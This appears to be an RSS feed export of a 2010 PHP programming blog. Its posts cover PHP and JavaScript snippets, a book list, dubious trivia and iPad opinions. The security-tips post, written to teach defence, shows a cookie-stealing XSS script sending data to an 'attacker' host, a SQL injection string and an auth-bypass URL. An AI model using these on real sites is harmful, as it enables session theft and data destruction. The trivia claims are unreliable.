			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW_DETAILS'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;|---File: {<span style="color: #006699; font-weight: bold;">$this</span> -&gt; name}, lines: <span style="color: #006699; font-weight: bold;">$count_lines</span>;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$count_lines</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">// Class</span>
&nbsp;
	<span style="color: #000088;">$path_to_here</span> <span style="color: #339933;">=</span> <span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span>DIRECTORY_SEPARATOR<span style="color: #339933;">;</span>
	<span style="color: #000088;">$folder</span> 		  <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Folder<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path_to_here</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #0000ff;">'Total lines of code: '</span> <span style="color: #339933;">.</span><span style="color: #000088;">$folder</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">count_lines</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/script-for-counting-number-of-lines-of-code-in-your-website-composite-design-pattern/feed</wfw:commentRss>
		</item>
		<item>
		<title>Some Fun Stuff</title>
		<link>http://blog.code-head.com/some-fun-stuff</link>
		<comments>http://blog.code-head.com/some-fun-stuff#comments</comments>
		<pubDate>Sat, 06 Feb 2010 21:38:05 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=794</guid>
		<description><![CDATA[1 - Did you know that there were only 300 years of peace on Earth in total?
2 - GPS satellites have atomic clocks that tick at around a few billion times per second, did you know that their clocks tick a little faster than the clocks on earth? This is what Albert Einstein predicted, clocks [...]]]></description>
			<content:encoded><![CDATA[<p>1 - Did you know that there were only 300 years of peace on Earth in total?</p>
<p>2 - GPS satellites have atomic clocks that tick at around a few billion times per second, did you know that their clocks tick a little faster than the clocks on earth? This is what Albert Einstein predicted, clocks that are closer to a strong source of gravity tick slower!!!!</p>
<p><a href="http://en.wikipedia.org/wiki/Global_Positioning_System#Relativity" target="_blank">http://en.wikipedia.org/wiki/Global_Positioning_System#Relativity</a></p>
<p>3 - Did you know that an unknown flying object followed Apollo 11 along it&#8217;s way to the moon? If you don&#8217;t believe me, listen to Buzz Aldrin talking about it:</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/XlkV1ybBnHI&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/XlkV1ybBnHI&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>4 - Did you know that there are 100,000 little machines inside each of our cells?</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/BtZEqQ1cpmk&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/BtZEqQ1cpmk&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>5 - Did you know that some people who we thought that were in vegetative state are actually aware but can&#8217;t communicate?</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/U9zUfibr2h8&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/U9zUfibr2h8&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/some-fun-stuff/feed</wfw:commentRss>
		</item>
		<item>
		<title>onMouseOut fix on nested elements - JavaScript</title>
		<link>http://blog.code-head.com/onmouseout-fix-on-nested-elements-javascript</link>
		<comments>http://blog.code-head.com/onmouseout-fix-on-nested-elements-javascript#comments</comments>
		<pubDate>Wed, 03 Feb 2010 23:07:14 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=792</guid>
		<description><![CDATA[When you have nested elements and you add an onMouseOut event handler to the parent element, browsers trigger onMouseOut event when mouse pointer hovers it&#8217;s child elements.
While this is a standard behaviour, for one project I needed to write a code to override this behaviour.
With this code, when you mouse over the child elements, onMouseOut [...]]]></description>
			<content:encoded><![CDATA[<p>When you have nested elements and you add an onMouseOut event handler to the parent element, browsers trigger onMouseOut event when mouse pointer hovers it&#8217;s child elements.<br />
While this is a standard behaviour, for one project I needed to write a code to override this behaviour.<br />
With this code, when you mouse over the child elements, onMouseOut event will be ignored.</p>
<p>You can download this code here:<br />
<a href="http://images.code-head.com/code/javascript/fixOnMouseOut.zip" target="_blank">http://images.code-head.com/code/javascript/fixOnMouseOut.zip</a></p>
<p>You can test it here:<br />
<a href="http://images.code-head.com/code/javascript/fixOnMouseOuttest.html" target="_blank">http://images.code-head.com/code/javascript/fixOnMouseOuttest.html</a></p>
<p>This code is cross browser and here is how to use it:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;fixOnMouseOut.js&quot;&gt; &lt;/script&gt;
&lt;div onMouseOut=&quot;fixOnMouseOut(this, event, 'JavaScript Code');&quot;&gt; 
   So many child elements
&lt;/div&gt;</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/onmouseout-fix-on-nested-elements-javascript/feed</wfw:commentRss>
		</item>
		<item>
		<title>PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL</title>
		<link>http://blog.code-head.com/php-mysql-web-development-security-tips-14-tips-you-should-know-when-developing-with-php-and-mysql</link>
		<comments>http://blog.code-head.com/php-mysql-web-development-security-tips-14-tips-you-should-know-when-developing-with-php-and-mysql#comments</comments>
		<pubDate>Wed, 03 Feb 2010 00:12:06 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=787</guid>
		<description><![CDATA[We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…
PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL
I read about many of these points in books and tutorials but I was rather lazy [...]]]></description>
			<content:encoded><![CDATA[<p><small>We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…</small></p>
<h2>PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL</h2>
<p>I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn&#8217;t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.</p>
<p><strong>1. Do not trust user input</strong><br />
If you are expecting an integer call intval() (or use cast) or if you don&#8217;t expect a username to have a dash (-) in it,  check it with strstr() and prompt the user that this username is not valid.</p>
<p>Here is an example:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$post_id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">intval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'post_id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM post WHERE id = <span style="color: #006699; font-weight: bold;">$post_id</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Now $post_id will be an integer for sure <img src='http://blog.code-head.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>2. Validate user input on the server side</strong><br />
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.<br />
JavaScript validation is only good to reduce the server load.</p>
<p><strong>3. Do not use user input directly in your SQL queries</strong><br />
Use mysql_real_escape_string() to escape the user input.<br />
PHP.net recommends this function: (well a little different)</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">  <span style="color: #000000; font-weight: bold;">function</span> escape<span style="color: #009900;">&#40;</span><span style="color: #000088;">$values</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$values</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$values</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_map</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'escape'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$values</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>    
    <span style="color: #666666; font-style: italic;">/* Quote if not integer */</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">is_numeric</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$values</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$values</span><span style="color: #009900;">&#123;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#125;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'0'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
     <span style="color: #000088;">$values</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;'&quot;</span> <span style="color: #339933;">.</span><span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$values</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
   <span style="color: #009900;">&#125;</span>
   <span style="color: #b1b100;">return</span> <span style="color: #000088;">$values</span><span style="color: #339933;">;</span>    
  <span style="color: #009900;">&#125;</span></pre></div></div>

<p>Then you can use it like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> escape<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'username'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM user WHERE username = <span style="color: #006699; font-weight: bold;">$username</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* escape() will also adds quotes to strings automatically */</span></pre></div></div>

<p><strong>4. In your SQL queries don&#8217;t put integers in quotes</strong><br />
For example $id  is suppose to be an integer:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;0; DELETE FROM users&quot;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM users WHERE id='<span style="color: #006699; font-weight: bold;">$id</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Note that, using intval() would fix the problem here.</p>
<p><strong>5. Always escape the output</strong><br />
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>alert<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>document.<span style="color: #660066;">location</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'http://attacker/?c='</span><span style="color: #339933;">+</span>document.<span style="color: #660066;">cookie</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users&#8217; sessions and appear to be logged in as other users.</p>
<p>When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, &#8216;UTF-8&#8242;);</p>
<p><strong>6. When uploading files, validate the file mime type</strong><br />
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.</p>
<p>One quick way is to check the file extension:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$valid_extensions</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jpg'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'gif'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'png'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// ...</span>
&nbsp;
<span style="color: #000088;">$file_name</span>  <span style="color: #339933;">=</span> <span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'userfile'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$_file_name</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$file_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ext</span>        <span style="color: #339933;">=</span> <span style="color: #000088;">$_file_name</span><span style="color: #009900;">&#91;</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_file_name</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span> <span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ext</span><span style="color: #339933;">,</span> <span style="color: #000088;">$valid_extensions</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 <span style="color: #666666; font-style: italic;">/* This file is invalid */</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Note that validating extension is a very simple way, and not the best way, to validate file uploads but it&#8217;s effective;<br />
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.</p>
<p><strong>7. If you are using 3rd party code libraries, be sure to keep them up to date</strong><br />
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.</p>
<p><strong>8. Give your database users just enough permissions</strong><br />
If a database user is never going to drop tables, then when creating that user don&#8217;t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.</p>
<p><strong>9. Do not allow hosts other than localhost to connect to your database</strong><br />
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.</p>
<p><strong>10. Your library file extensions should be PHP</strong><br />
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts),  users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc.<br />
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:</p>
<p>deny from all</p>
<p><strong>11. Have register globals off or define your variables first</strong><br />
Register globals can be very dangerous, consider this bit of code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> user_logged_in<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 <span style="color: #000088;">$auth</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$auth</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 <span style="color: #666666; font-style: italic;">/* Do some admin stuff */</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Now with register globals on an attacker can view this page like this and bypass your authentication:<br />
[url]http://yourwebsite.com/admin.php?auth=1[/url]</p>
<p>If you have registered globals on and you can&#8217;t turn it off for some reason you can fix these issues by defining your variables first:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$auth</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> user_logged_in<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 <span style="color: #000088;">$auth</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$auth</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 <span style="color: #666666; font-style: italic;">/* Do some admin stuff */</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Defining your variables first is a good programming practice that I suggest you follow anyway.</p>
<p><strong>12. Keep PHP itself up to date</strong><br />
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.</p>
<p><strong>13. Read security books</strong><br />
Always find new books about PHP security to read; you can start by reading the 4th book in the <a href="http://blog.code-head.com/learning-php-best-php-books">Learning PHP Post</a>, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.</p>
<p><strong>14. Contribute to this list <img src='http://blog.code-head.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong><br />
Feel free to reply to this thread and add to this list, it will be helpful for everyone!</p>
<p>Thanks!<br />
-Codehead</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/php-mysql-web-development-security-tips-14-tips-you-should-know-when-developing-with-php-and-mysql/feed</wfw:commentRss>
		</item>
		<item>
		<title>Learning PHP - best PHP books</title>
		<link>http://blog.code-head.com/learning-php-best-php-books</link>
		<comments>http://blog.code-head.com/learning-php-best-php-books#comments</comments>
		<pubDate>Wed, 03 Feb 2010 00:08:15 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=785</guid>
		<description><![CDATA[We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…
Learning PHP - best PHP books
PHP and MySQL Web Development (4th Edition) (Developer&#8217;s Library) (Hardcover)
by, Luke Welling and Laura Thomson
This book is one of the best books on PHP and MySQL. It starts [...]]]></description>
			<content:encoded><![CDATA[<p><small>We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…</small></p>
<h2>Learning PHP - best PHP books</h2>
<p><a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2FPHP-MySQL-Development-Developers-Library%2Fdp%2F0672329166%3Fpf%5Frd%5Fp%3D304485601%26pf%5Frd%5Fs%3Dlpo-top-stripe-2%26pf%5Frd%5Ft%3D201%26pf%5Frd%5Fi%3D0672317842%26pf%5Frd%5Fm%3DATVPDKIKX0DER%26pf%5Frd%5Fr%3D1Y99Z7P7HMERQCSRM0ZZ&#038;tag=hamidof-20&#038;linkCode=ur2&#038;camp=1789&#038;creative=9325" target="_blank"><strong>PHP and MySQL Web Development (4th Edition) (Developer&#8217;s Library) (Hardcover)</strong></a><br />
<em>by, Luke Welling and Laura Thomson</em></p>
<p>This book is one of the best books on PHP and MySQL. It starts with introductions to PHP and MySQL and then shows you how to write common applications from scratch using these technologies. You will learn how to write a shopping cart, a content management system (CMS), a web based email service, a mailing list manager, a forum application, and more.<br />
Some other useful topics covered in this book are:<br />
How to run an E-Commerce site, Session management, user login and registration, generating images and PDF documents on the fly with PHP, using network protocols with PHP, Object Oriented Programming (OOP), regular expressions, etc.<br />
_________________________________________________ </p>
<p><a href="http://www.amazon.com/gp/product/0672325616?ie=UTF8&#038;tag=hamidof-20&#038;linkCode=as2&#038;camp=1789&#038;creative=9325&#038;creativeASIN=0672325616" target="_blank"><strong>Advanced PHP Programming</strong></a><br />
<em>by, George Schlossnagle</em></p>
<p>This book will teach you advanced techniques required to make a large scale web application (web site), there are many advanced topics covered in this book such as:<br />
Various caching techniques using PHP, unit testing, good API design, interacting with remote services, Object Oriented Programming (OOP) through design patterns, Session handling, and more.<br />
_________________________________________________ </p>
<p><a href="http://www.amazon.com/gp/product/0973589825?ie=UTF8&#038;tag=hamidof-20&#038;linkCode=as2&#038;camp=1789&#038;creative=9325&#038;creativeASIN=0973589825" target="_blank"><strong>PHP|Architect&#8217;s Guide to PHP Design Patterns</strong></a><br />
<em>by, Jason E. Sweat</em></p>
<p>This book covers many of the Design Patterns that are common in developing websites and is one of the first PHP Design Patterns books. Code samples are in PHP4 and PHP5.<br />
The book covers 16 different design patterns including:<br />
The ValueObject Pattern, The Factory Pattern, The Singleton Pattern, The Registry Pattern, The MockObject Pattern, The Strategy Pattern, The Model-View-Controller Pattern, and many more.<br />
_________________________________________________ </p>
<p><a href="http://www.amazon.com/gp/product/0973862106?ie=UTF8&#038;tag=hamidof-20&#038;linkCode=as2&#038;camp=1789&#038;creative=9325&#038;creativeASIN=0973862106" target="_blank"><strong>PHP|Architect&#8217;s Guide to PHP Security</strong></a><br />
<em>by, Ilia Alshanetsky</em></p>
<p>This book will teach you how to make secure and reliable web applications, the author is one of the contributors to PHP programming language core.<br />
Topics covered are: Input validation, Cross-Site Scripting (XSS) attacks prevention, Command Injection attacks prevention, SQL Injection attacks prevention, Code injection attacks prevention, and more.<br />
This is a <strong>MUST</strong> read book for PHP developers.<br />
_________________________________________________ </p>
<p><a href="http://www.amazon.com/gp/product/0596528124?ie=UTF8&#038;tag=hamidof-20&#038;linkCode=as2&#038;camp=1789&#038;creative=9325&#038;creativeASIN=0596528124" target="_blank"><strong>Mastering Regular Expressions (3rd Edition)</strong></a><br />
<em>by, Jeffrey E F Friedl</em></p>
<p>This book is the best book on Regular Expressions. If you&#8217;re having trouble learning Regular Expressions,this book will help you grasp the concept and master them.<br />
Plus, the 3rd edition has an entire chapter dedicated to PHP.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/learning-php-best-php-books/feed</wfw:commentRss>
		</item>
		<item>
		<title>I Know Which Tablet I Want</title>
		<link>http://blog.code-head.com/i-know-which-tablet-i-want</link>
		<comments>http://blog.code-head.com/i-know-which-tablet-i-want#comments</comments>
		<pubDate>Sat, 30 Jan 2010 09:52:11 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Fun]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Operating Systems]]></category>

		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=781</guid>
		<description><![CDATA[OK, if you are an Apple fan, don&#8217;t be mad at me, I like Apple but I don&#8217;t like the spooky-dishonesty stuff&#8230;
To be honest, some Apple fans are kind of scary, have you ever seen their comments on YouTube or elsewhere? It&#8217;s like Apple is their religion and Steve Jobs is their profit, no wonder&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>OK, if you are an Apple fan, don&#8217;t be mad at me, I like Apple but I don&#8217;t like the spooky-dishonesty stuff&#8230;</p>
<p>To be honest, some Apple fans are kind of scary, have you ever seen their comments on YouTube or elsewhere? It&#8217;s like Apple is their religion and Steve Jobs is their profit, no wonder&#8230; <img src='http://blog.code-head.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Anyways, things like this bother me a lot:</p>
<p>1 - Showing that the device supports Flash in the ads when in reality it doesn&#8217;t, do you realise someone big in that company said &#8220;Let&#8217;s make it look like it supports Flash in the ads!&#8221;???</p>
<p>2 - Steve Jobs said that they designed the A4 chip &#8220;right here at Apple&#8221; but in reality it is a ARM Cortex chip!!!!</p>
<p>On the other hand, there is going to be a very, very interesting product out soon, it&#8217;s HP Slate, the name is kind of lame but it will be running a full version of Windows 7 and under the hood, it has a <a href="http://www.nvidia.com/object/tegra_250.html" target="_blank">NVIDIA Tegra 2</a>, which is a very cool chip; it has dual ARM Cortex 1GHz CPUs!</p>
<p>I have a big laptop for work, but I have a little one that I carry around EVERYWHERE with me and it&#8217;s very handy, for watching videos and stuff other than work. I was hoping that the iPad could replace that but it didn&#8217;t turn out to be that way, HP Slate on the other hand, will do exactly that.</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/W7CUfRq7KsA&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/W7CUfRq7KsA&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
<p>Sorry Apple&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/i-know-which-tablet-i-want/feed</wfw:commentRss>
		</item>
		<item>
		<title>I Want An iPad - NOT!</title>
		<link>http://blog.code-head.com/i-want-an-ipad-not</link>
		<comments>http://blog.code-head.com/i-want-an-ipad-not#comments</comments>
		<pubDate>Fri, 29 Jan 2010 21:23:50 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Fun]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=778</guid>
		<description><![CDATA[Ignore my last post, the more I know about it, the more problems I have with this pretty device&#8230;
Here are my mail reasons:
1 - It doesn&#8217;t have the OSX, the OS is like the one on iPhone.
2 - No multitasking support.
3 - No Flash support!!!!
4 - No camera.
It&#8217;s basically a giant iPhone with less features!!
Sadly, [...]]]></description>
			<content:encoded><![CDATA[<p>Ignore my last post, the more I know about it, the more problems I have with this pretty device&#8230;</p>
<p>Here are my mail reasons:</p>
<p>1 - It doesn&#8217;t have the OSX, the OS is like the one on iPhone.<br />
2 - No multitasking support.<br />
3 - No Flash support!!!!<br />
4 - No camera.</p>
<p>It&#8217;s basically a giant iPhone with less features!!</p>
<p>Sadly, Apple got it wrong this time. I also noticed that Steve Jobs wasn&#8217;t very excited when he introduced it, it wasn&#8217;t like the iPhone keynote, maybe he wasn&#8217;t very pleased with it either.</p>
<p>It&#8217;s too bad&#8230;</p>
]]></content:encoded>
